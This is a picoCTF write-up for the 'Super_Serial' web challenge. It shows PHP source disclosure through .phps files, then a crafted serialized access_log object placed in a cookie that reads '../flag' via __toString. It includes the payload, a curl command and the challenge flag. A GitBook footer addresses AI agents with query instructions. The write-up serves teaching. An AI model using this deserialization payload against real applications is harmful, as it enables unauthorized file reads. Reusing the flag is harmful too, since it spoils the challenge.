> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/super_serial.md).

# Super\_Serial

## Super\_Serial – PHP Object Injection

### 1️⃣ Initial Recon

First thing checked:

```
/robots.txt
```

Found:

```
User-agent: *
Disallow: /admin.phps
```

Accessing:

```
/admin.phps
```

didn’t help much.

Then you tried:

```
index.phps
authentication.phps
```

🔥 `.phps` reveals PHP source code.

That’s the first major discovery.

***

## 2️⃣ Source Code Review – index.php

Important line:

```php
setcookie("login", urlencode(base64_encode(serialize($perm_res))), ...);
```

This means:

1. A `permissions` object is created
2. It is serialized
3. Base64 encoded
4. Stored inside cookie `login`

⚠️ This is dangerous because if the server later does:

```php
unserialize(base64_decode($_COOKIE['login']));
```

The user controls the object.

That = **PHP Object Injection**

***

## 3️⃣ authentication.php Source

Now this part is CRITICAL:

```php
class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
```

Key point:

```php
function __toString() {
	return $this->read_log();
}
```

Whenever the object is converted to string → it reads a file.

That is a file read primitive.

***

## 🚨 The Vulnerability

If we can inject:

```
access_log
```

object and control:

```
$log_file
```

We can read:

```
../flag
```

And that’s exactly what the hint said.

***

## 4️⃣ Crafting The Payload

PHP serialized object format:

```
O:<length>:"ClassName":<property_count>:{
    s:<length>:"property_name";<value>;
}
```

***

### 🔍 Breakdown of Your Payload

Base64:

```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

Decoded:

```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```

Let’s break it:

```
O:10:"access_log"
```

* O = object
* 10 = length of class name
* access\_log = class name

```
:1:
```

* 1 property

```
s:8:"log_file";
```

* s = string
* 8 = length of "log\_file"

```
s:7:"../flag";
```

* s = string
* 7 = length of "../flag"

***

## 5️⃣ Exploit Execution

Send cookie:

```bash
curl -H "Cookie: login=<payload>" \
http://wily-courier.picoctf.net:49907/authentication.php
```

Response:

```
Deserialization error. picoCTF{1_c4nn0t_s33_y0u_2fba20fa}
```

Even though it says “Deserialization error” — the flag is printed.

Why?

Because during object handling, `__toString()` was triggered.

And that called:

```
file_get_contents("../flag")
```

Which printed the flag.

***

## 🎯 Why This Works

Because:

* The app trusts serialized objects from cookies
* It unserializes without validation
* It defines a class with file read capability
* We inject that class manually

This is:

> PHP Insecure Deserialization → Magic Method Abuse → Arbitrary File Read

***

## 🔬 Serialization Explanation

```
O => Object
s => String
i => Integer
a => Array
```

Format:

```
O:<len>:"ClassName":<prop_count>:{
    s:<len>:"prop_name";<value>;
}
```

If length is wrong → unserialize fails.

That’s why counts must match exactly.

***

## 🧠 Final Exploit Chain

1. Found `.phps` → source disclosure
2. Found serialized cookie
3. Found class with file read
4. Crafted malicious object
5. Injected via cookie
6. Triggered `__toString`
7. Read `../flag`
8. Got flag

## 🏆 Final Flag

```
picoCTF{1_c4nn0t_s33_y0u_2fba20fa}
```

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/super_serial.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.